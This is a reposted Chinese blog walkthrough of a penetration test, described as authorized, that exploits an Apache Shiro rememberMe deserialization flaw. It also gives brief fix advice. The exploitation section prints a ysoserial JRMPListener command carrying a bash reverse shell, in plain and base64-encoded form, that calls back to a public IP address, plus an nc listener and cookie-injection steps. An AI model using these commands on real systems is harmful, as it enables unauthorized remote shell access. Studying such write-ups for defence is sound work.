實戰滲透-Shiro反序列化漏洞實例


0x01.前言

首先我解釋下封面哈,我是一個安全研究者(菜菜,很菜的菜),另外呢,我喜歡這個封面,略微有點顏色,但是你如果說她低俗,那么請您離開,咱們不適合做朋友,我喜歡有靈魂的思想,安全研究者-我更喜歡有腦洞的人。

    這是一次授權的滲透測試,技術含量不高,但我始終相信,每一次的積累,都是為了成就更好的自己,所以過程簡潔,記錄下每個知識點。對滲透而言,我更喜歡實戰的體驗感,那種喜悅和知識的獲取感,永遠是無法比擬的。這次實戰,最多的還是收獲,拿下此戰,進而滲透更多的站來獲取不同的細節,不懂的話你就品一下。

0x02.滲透過程

這篇文章沒有前期的信息收集,省略過了一切,直接開始我們滲透。

1)網站環境

域名:http://manage.xxxxxx.org.cn/xxx /login.jsp

程序語言:jsp

這僅僅是一個登錄框的測試。

2)探測登錄框架

開啟神奇Burp,抓包,通過返回包的情況來進行分析(敏感信息打碼)

3)步入洞點

    當看到關鍵字rememberMe=deleteMe;,你是否就會想起Shiro反序列化漏洞,那么我們現在用實驗室的集成腳本進行測試,是否存在Shiro反序列化漏洞。這里相當於先提供POC測試。

首先burp做監聽器:

然后使用腳本進行測試:

經過測試,是存在Shiro反序列化漏洞的。

4)深入探測Shiro反序列化漏洞

    這邊的目的,就是危害最大程度,那么我就繼續進行測試,最嚴重的模式,也就是直接拿到主機shell,這邊也提供最詳細的操作,以及遇到的一些坑點作為分享。

思路:一台公網的vps做監聽,配合burp發送payload,然后獲取shell。

1.在公網 vps 執行下列命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “反彈shell的命令”

這里的命令,需要使用 Java Runtime 配合 bash 編碼。

bash -i > /dev/tcp/ip/port 0>& 1

最終執行命令為:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”

這里的CommonsCollections,分為1-10模塊進行測試,這邊使用模塊5進行滲透。

2.使用 exp 生成 payload

    Python exp.py 公網ip:port(這邊有一點要避雷)

3.公網 vps 開啟 nc 監聽

Nc -lvp 1234    (監聽1234端口)

4.抓任意 http 數據包,在 cookie 中追加 payload。GoGoGo

5.成功拿到shell

0x03.修復方案

    升級 Shiro 版本至 1.2.5 以上; 更改默認密鑰。

0x04.總結

  1. 了解基本的網站架構
  2. 抓包探測確定中間件
  3. 了解各類中間件和框架的漏洞
  4. 熟悉並熟練掌握Shiro漏洞的利用方式
  5. 熟悉nc的使用方法
  6. 多積累,多學習,多練習

轉載請注明:Adminxe's Blog » 實戰滲透-Shiro反序列化漏洞實例


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM